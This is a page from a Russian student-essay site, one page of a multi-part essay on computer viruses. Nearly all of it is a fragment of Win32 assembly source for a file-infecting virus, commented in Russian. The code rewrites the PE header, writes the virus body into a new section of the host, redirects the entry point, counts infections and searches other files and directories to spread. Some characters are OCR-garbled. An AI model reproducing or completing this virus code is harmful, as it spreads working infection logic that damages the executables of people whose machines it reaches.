Компьютерные вирусы
| Категория реферата: Рефераты по информатике, программированию
| Теги реферата: реферат на тему образ жизни, сочинение язык
| Добавил(а) на сайт: Jeshman.
Предыдущая страница реферата | 6 7 8 9 10 11 12 13 14 15 16 | Следующая страница реферата
mov eax,dword ptr [ebp+offset RVA] mov ebx,dword ptr [ebp+offset entrypointRVA]
mov dword ptr [ebp+offset entrypointRVA],eax sub eax.ebx add eax,5
;Установим значение, необходимое для возврата в носитель mov dword ptr [ebp+offset subme],eax
;Поставим указатель позиции чтения/записи на начало РЕ-заголовка
push О push О push dword ptr [ebp+offset peheaderoffset] push dword ptr [ebp+offset ahand] call SetFilePointer
;Запишем РЕ-заголовок и таблицу объектов в файл
push О lea eax,[ebp+offset bytesread] push eax push dword ptr [ebp+offset headersize] lea eax, [ebp+offset peheader] push eax push dword ptr [ebp+offset ahand] call WriteFile
;Увеличим счетчик заражений
inc byte ptr [ebp+offset countinfect]
;Поставим указатель позиции чтения/записи
;по физическому смещению нового объекта
push О push О push dword ptr [ebp+offset physicaloffset] push dword ptr [ebp+offset ahand] call SetFilePointer
;Запишем тело вируса в новый объект push О lea eax, [ebp+offset bytesread] push eax push vend-vstart lea eax, [ebp+offset vstart] push eax push dword ptr [ebp+offset ahand] call WriteFile
;3акроем файл notape: push dword ptr [ebp+offset ahand] call CloseFile
; Переход к следующему файлу findnextone:
;Проверим, сколько файлов заразили: если 3,
;то выходим, если меньше - ищем следующий
cmp byte ptr [ebp+offset countinfect],3
jz outty
;Ищем следующий файл
lea eax, [ebp+offset win32_data_thang] push eax push dword ptr [ebp+offset searchhandle] call FindNext
;Если файл найден, переходим к заражению or eax, eax jnz gofile
;Сюда попадаем, если файл не найден foundnothing:
;Сменим директорию хоr eax, eax lea edi, [ebp+offset tempdir] mov ecx, 256/4 rep stosd lea edi, [ebp+offset tempdirl] mov ecx,256/4 rep stosd
;Получим текущую директорию lea esi,[ebp+offset tempdir] push esi push 255 call GetCurDir
;Сменим директорию на "."
lea eax, [ebp+offset dotdot] push eax call SetCurDir
Рекомендуем скачать другие рефераты по теме: контрольная, использование рефератов.
Категории:
Предыдущая страница реферата | 6 7 8 9 10 11 12 13 14 15 16 | Следующая страница реферата